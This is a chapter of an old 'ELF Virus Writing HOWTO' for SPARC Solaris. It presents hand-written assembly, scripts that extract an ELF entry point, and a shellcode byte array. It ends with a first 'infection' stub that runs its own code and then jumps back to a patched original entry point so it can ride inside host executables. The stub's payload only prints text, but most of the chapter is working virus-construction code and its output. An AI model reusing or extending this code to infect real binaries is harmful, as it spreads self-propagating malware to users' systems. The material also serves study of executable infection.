The ELF Virus Writing HOWTO: sparc-sunos5.7
Prev |  | Next

# 4. The language of evil

| "Evil does seek to maintain power by suppressing the truth." "Or by misleading the innocent."
| Spock and McCoy, "And The Children Shall Lead", star date 5029.5.

The code generated by gcc(1) is not suitable for a virus. So here comes hand crafted code.

Source: src/evil_magic/sparc_SunOS_att.S

    #include <sys/syscall.h>

    		.section ".text"
    		.global _start
    _start:		mov	SYS_write, %g1		! write
    		mov	1, %o0			! fd=1
    		set	0x10001, %o1		! buf=0x10001
    		mov	3, %o2			! count=3
    		ta	8

    		mov	SYS_exit, %g1		! exit
    		mov	%g0, %o0		! status=0
    		ta	8

Command: pre/sparc-sunos5.7/evil_magic/att.sh

    #!/usr/xpg4/bin/sh
    src=${1:-./src/evil_magic/sparc_SunOS_att.S}
    exe=${2:-tmp/sparc-sunos5.7/evil_magic/att}
    obj=${exe}.o

    /usr/local/bin/gcc -c -I . -D _ASM -o ${obj} ${src} \
    && /usr/local/bin/ld -o ${exe} ${obj} \
    && /usr/local/bin/strip ${exe} \
    && ${exe}

Output: out/sparc-sunos5.7/evil_magic/att

    ELF

Output is good. But how do we get the resulting machine code? We can't just add a call to printf(3) to the assembly code. Above example is not linked with glibc; it does not even have a function called `main`.

## 4.1. Offset of e_entry

On the other hand things became a lot easier. There is no initialization code that gets executed before `_start`, so the address of `_start` is really the ELF entry point of the executable.

Source: pre/sparc-sunos5.7/evil_magic/ofs_entry.c

    #include <stddef.h>
    #include <stdio.h>
    #include <elf.h>

    #define SIZEOF_TYPE(type) \
       printf("sizeof_" #type "=%lu\n", (unsigned long)sizeof(type))
    #define OFFSETOF(struct, member) \
      printf("offset_" #member "=%lu\n", \
        (unsigned long)offsetof(struct, member))
    #define SIZEOF_MEMBER(struct, member) \
       printf("sizeof_" #member "=%lu\n", \
         (unsigned long)sizeof(((struct*)0)->e_entry))

    int main()
    {
      SIZEOF_TYPE(int);
      SIZEOF_TYPE(long);
      SIZEOF_TYPE(size_t);
      SIZEOF_TYPE(Elf32_Ehdr);
      SIZEOF_TYPE(Elf32_Shdr);
      SIZEOF_TYPE(Elf32_Phdr);
      OFFSETOF(Elf32_Ehdr, e_entry);
      SIZEOF_MEMBER(Elf32_Ehdr, e_entry);
      OFFSETOF(Elf32_Ehdr, e_phoff);
      SIZEOF_MEMBER(Elf32_Ehdr, e_phoff);
      return 0;
    }

Output: out/sparc-sunos5.7/evil_magic/ofs_entry

    sizeof_int=4
    sizeof_long=4
    sizeof_size_t=4
    sizeof_Elf32_Ehdr=52
    sizeof_Elf32_Shdr=40
    sizeof_Elf32_Phdr=32
    offset_e_entry=24
    sizeof_e_entry=4
    offset_e_phoff=28
    sizeof_e_phoff=4

It's interesting that `e_entry` is at the same offset in both Elf32_Ehdr and Elf64_Ehdr (of course the size of the field is different).

The classic approach to extract this value from an executable is a combination of dd(1) and od(1). A first (and useless) prototype:

Command: pre/sparc-sunos5.7/evil_magic/od.sh

    #!/usr/xpg4/bin/sh
    file=${1:-tmp/sparc-sunos5.7/evil_magic/att}
    /usr/bin/dd if=${file} bs=1 skip=24 count=8 | /usr/xpg4/bin/od -x

Output: out/sparc-sunos5.7/evil_magic/od

    0000000 0001 0074 0000 0034
    0000010

`dd` can be replaced by od -j 24 on Solaris and Linux. FreeBSD's implementation spells that od +24. FreeBSD and Linux also provide hexdump -s 24. But unfortunately neither the traditional `od` nor the modern `hexdump` on FreeBSD can process 8 byte values. Still worse, I know one installation of alpha-freebsd where `perl` is compiled without 64-bit support. To reliably cover 64-bit platforms (especially big endian Ultra-Sparc) we need more power.

## 4.2. Extracting e_entry

Source: src/evil_magic/e_entry.c

    #include <stdio.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <elf.h>

    #include <config.h>

    int main(int argc, char** argv)
    {
      const char* p;
      TEVWH_ELF_EHDR ehdr;

      while(0 != (p = *++argv))
      {
        int fd = open(p, O_RDONLY);
        if (fd != -1 && sizeof(ehdr) == read(fd, &ehdr, sizeof(ehdr)))
        { /* print both entry point and offset */
          /* lower case is required to match with objdump's disassembly */
          printf("%lx %lu\n", ehdr.e_entry, ehdr.e_entry - TEVWH_ELF_BASE);
        }
      }
      return 0;
    }

Command: pre/sparc-sunos5.7/evil_magic/e_entry.sh

    #!/usr/xpg4/bin/sh
    tmp/sparc-sunos5.7/evil_magic/e_entry \
    	tmp/sparc-sunos5.7/evil_magic/att

Output: out/sparc-sunos5.7/evil_magic/e_entry

    10074 116

The entry point is specified as a virtual address in memory. By subtracting the base address we get the file offset.

> Offset of entry point in file:

> `0x10074 - 0x10000 = 0x74 = 116`

## 4.3. Devil in disguise

Command: pre/sparc-sunos5.7/evil_magic/objdump.sh

    #!/usr/xpg4/bin/sh
    read entry_point ofs \
    < out/sparc-sunos5.7/evil_magic/e_entry

    /usr/local/bin/objdump --start-address=0x${entry_point} -d \
    	tmp/sparc-sunos5.7/evil_magic/att \
    | pre/sparc-sunos5.7/magic_elf/objdump_format.pl

Output: out/sparc-sunos5.7/evil_magic/att.asm

       10074:   82 10 20 04         mov     4, %g1
       10078:   90 10 20 01         mov     1, %o0
       1007c:   13 00 00 40         sethi   %hi(0x10000), %o1
       10080:   92 12 60 01         or      %o1, 1, %o159 ! 0x10001
       10084:   94 10 20 03         mov     3, %o2
       10088:   91 d0 20 08         ta      8
       1008c:   82 10 20 01         mov     1, %g1
       10090:   90 10 00 00         mov     %g0, %o0
       10094:   91 d0 20 08         ta      8

There is still one thing left: Dressing up the hex dump as C source. We use the script from Dressing up binary code.

Output = Source: out/sparc-sunos5.7/evil_magic/evil_magic.c

    const unsigned char main[]
    __attribute__ (( aligned(8), section(".text") )) =
    {
      0x82,0x10,0x20,0x04,           /* 10074: mov 4, %g1                */
      0x90,0x10,0x20,0x01,           /* 10078: mov 1, %o0                */
      0x13,0x00,0x00,0x40,           /* 1007c: sethi %hi(0x10000), %o1   */
      0x92,0x12,0x60,0x01,           /* 10080: or %o1, 1, %o159          */
      0x94,0x10,0x20,0x03,           /* 10084: mov 3, %o2                */
      0x91,0xd0,0x20,0x08,           /* 10088: ta 8                      */
      0x82,0x10,0x20,0x01,           /* 1008c: mov 1, %g1                */
      0x90,0x10,0x00,0x00,           /* 10090: mov %g0, %o0              */
      0x91,0xd0,0x20,0x08            /* 10094: ta 8                      */
    }; /* 36 bytes (0x24) */

Calling the string constant `main` is not a mistake. Above output is a complete and valid C program.

Command: pre/sparc-sunos5.7/evil_magic/cc.sh

    #!/usr/xpg4/bin/sh
    /usr/local/bin/gcc -Wall -O1 -I . -I out/sparc-sunos5.7 -D NDEBUG out/sparc-sunos5.7/evil_magic/evil_magic.c \
    	-o tmp/sparc-sunos5.7/evil_magic/cc \
    && tmp/sparc-sunos5.7/evil_magic/cc

Output: out/sparc-sunos5.7/evil_magic/cc

    ELF

## 4.4. Infection #1

Up to now our code is intended to be stand-alone. Obviously we must replace the call to exit(2). Instead we have to resume with the original code of the host executable. The last line of assembler code is used to specify the offset of a spot to patch with the original entry address. This ends up in the definition of `ENTRY_POINT_OFS` required by the framework in One step closer (i). Note the "`i1`" in the path of the file name. This is just the first implementation. It will be replaced later on.

On sparc all opcodes take four byte. This makes it impossible to have one instruction load a register with a 32-bit immediate value. One solution is to split up the bits and use a combination of `sethi` and `or`. This would require platform specific cooperation from the framework at One step closer (i), however. Instead we reserve four bytes in the middle of the code. A `call` loads the address of itself (the `call` instruction) into `%o7`. Since the distance between the `call` and the reserved spot is constant, the called code can load that value without giving up position independence.

Source: src/one_step_closer/i1/sparc_SunOS_att.S

    		.section .text
    		.globl _start
    _start:		call	_entry
    		mov	%o0,%l0
    		mov	%o1,%l1
    		mov	%o2,%l2
    		mov	%g1,%l3

    		mov	4,%g1		! write
    		mov	1,%o0		! fd=1
    		set	0x10001,%o1	! buf=0x10001
    		mov	3,%o2		! count=3
    		ta	8

    		mov	%l1,%o1
    		mov	%l2,%o2
    		mov	%l3,%g1

    		jmp	%l7
    		mov	%l0,%o0

    _patch:		nop			! replace with original entry point
    _entry:		retl
    		ld	[%o7 + (_patch - _start)],%l7

    		set	_patch - _start,%g1	! dummy to specify ofs

Command: pre/sparc-sunos5.7/one_step_closer/att.sh

    #!/usr/xpg4/bin/sh
    dst=$1; shift
    full_dir=${dst%/*}
    inf_dir=${full_dir##*/}
    tmp_dst=tmp/sparc-sunos5.7/one_step_closer/${inf_dir}/infection

    /usr/local/bin/gcc -c -I . -D _ASM -o ${tmp_dst} \
    	./src/one_step_closer/${inf_dir}/sparc_SunOS_att.S \
    && /usr/local/bin/objdump -d ${tmp_dst} \
    | /usr/xpg4/bin/sed -ne '/^[[:space:]]*[[:xdigit:]]\{1,\}:/ p' \
    | ./src/platform/disasm.pl \
    	"-identifier=infection" \
    	"-last_line_is_ofs=" \
    	"$@" \
    	> ${dst}

Output = Source: out/sparc-sunos5.7/one_step_closer/i1/infection.inc

    const unsigned char infection[]
    __attribute__ (( aligned(8), section(".text") )) =
    {
      0x40,0x00,0x00,0x11,           /* 0: call 44 <_entry>              */
      0xa0,0x10,0x00,0x08,           /* 4: mov %o0, %l0                  */
      0xa2,0x10,0x00,0x09,           /* 8: mov %o1, %l1                  */
      0xa4,0x10,0x00,0x0a,           /* c: mov %o2, %l2                  */
      0xa6,0x10,0x00,0x01,           /* 10: mov %g1, %l3                 */
      0x82,0x10,0x20,0x04,           /* 14: mov 4, %g1                   */
      0x90,0x10,0x20,0x01,           /* 18: mov 1, %o0                   */
      0x13,0x00,0x00,0x40,           /* 1c: sethi %hi(0x10000), %o1      */
      0x92,0x12,0x60,0x01,           /* 20: or %o1, 1, %o1               */
      0x94,0x10,0x20,0x03,           /* 24: mov 3, %o2                   */
      0x91,0xd0,0x20,0x08,           /* 28: ta 8                         */
      0x92,0x10,0x00,0x11,           /* 2c: mov %l1, %o1                 */
      0x94,0x10,0x00,0x12,           /* 30: mov %l2, %o2                 */
      0x82,0x10,0x00,0x13,           /* 34: mov %l3, %g1                 */
      0x81,0xc5,0xc0,0x00,           /* 38: jmp %l7                      */
      0x90,0x10,0x00,0x10,           /* 3c: mov %l0, %o0                 */
      0x01,0x00,0x00,0x00,           /* 40: nop                          */
      0x81,0xc3,0xe0,0x08,           /* 44: retl                         */
      0xee,0x03,0xe0,0x40            /* 48: ld [ %o7 + 0x40 ], %l7       */
    }; /* 80 bytes (0x50) */
    enum { ENTRY_POINT_OFS = 0x40 };

Prev | Home | Next
Magic revealed |  | Segments